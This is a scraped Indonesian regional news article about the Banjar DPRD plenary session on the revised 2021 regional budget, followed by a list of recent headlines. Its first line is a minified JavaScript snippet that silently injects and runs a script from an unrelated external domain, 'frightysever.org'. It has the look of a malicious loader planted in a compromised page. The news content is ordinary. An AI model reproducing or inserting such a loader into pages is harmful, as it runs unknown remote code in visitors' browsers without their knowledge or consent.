(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

DPRD Banjar Gelar Rapat Paripurna Perubahan APBD Banjar 2021


KANALKALIMANTAN.COM, MARTAPURA- DPRD Banjar gelar paripurna terhadap Raperda Perubahan Anggaran Pendapatan dan Belanja Daerah (APBD) Banjar tahun 2021, Kamis (26/8/2021) di lantai II Ruang Paripurna DPRD Banjar.

Rapat dipimpin Ketua DPRD Banjar HM Rofiqi didampingi Wakil Ketua Ahmad Rizani Anshari. Sementara pihak eksekutif dihadiri Wakil Bupati Banjar Habib Idrus Alhabsyie beserta SKPD dan Forkopimda Banjar.

Terkait Raperda tersebut, dalam pandangannya yang dibacakan Wakil Bupati Banjar H Said Idrus menjelaskan, hal yang mendasari perubahan APBD disebabkan perkembangan yang tidak sesuai dengan asumsi kebijakan umum APBD sebelumnya.

Hal ini dapat terjadi pelampauan atau tidak tercapainya proyeksi pendapatan daerah, lokasi belanja daerah, sumber dan penggunaan pembiayaan yang semula ditetapkan dalam Kebijakan Umum APBD (KUA). Juga terdapat saldo anggran lebih dari tahun sebelumnya harus digunakan dalam tahun berjalan.

 

 

Baca juga: Pejabat yang Menerima Vaksin Ketiga, Firdaus Ferdiansyah: Kelompok yang Tak Berhak!

”Raperda tentang Perubahan APBD tahun anggaran 2021 yang diajukan ini merupakan perwujudan dari perubahan rencana kerja pemerintah daerah tahun 2021, yang dijabarkan dalam perubahan KUA serta perubahan prioritas dan plafon anggaran sementara yang telah disepakati antara Pemerintah Daerah dengan DPRD tanggal 16 Agustus 2021,” jelas Wabup Banjar.

Ditambahkannya Perubahan APBD Tahun 2021 ditandai dengan turunnya target Pendapatan Transfer Prediksi Penerimaan Pembiayaan serta kewajiban untuk menyediakan Belanja Penanganan Covid 19.

”Pengurangan dana transfer dari pemerintah pusat sekitar Rp 22 miliar berdasarkan Peraturan Menteri Keuangan PMK/ 17.PMK07/2021. Pengurangan Target Penerimaan SILPA Tahun anggaran 2020 sekitar Rp 74 miliar. Kewajiban Penyediaan Dana Penanganan Covid 19 sebesar 8 persen dari total dana DAU sekitar Rp 52 miliar,” terangnya. (Kanalkalimantan.com/sla)

Reporter: sla
Editor: cell


Risa

Recent Posts

Dari Rakor Bulanan: 1.398 Pegawai Non ASN Digaji APBD, Alarm Banjarbaru Menjadi “Kota Kotor”

KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More

7 jam ago

Naik Motor Trail, Bupati Kapuas Tinjau Jalan di Kecamatan Selat

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More

7 jam ago

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

12 jam ago

Resmikan Puskesmas, Bupati Banjar Harapkan Pelayanan Terbaik kepada Masyarakat

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More

13 jam ago

Bupati HSU Bersama Dandim Tinjau Lokasi TMMD di Desa Hambuku Hulu

‎KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More

13 jam ago

‎TMMD Ke-127 Dimulai, Bupati HSU: TNI Berperan Aktif Percepat Pembangunan Pedesaan

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More

14 jam ago

This website uses cookies.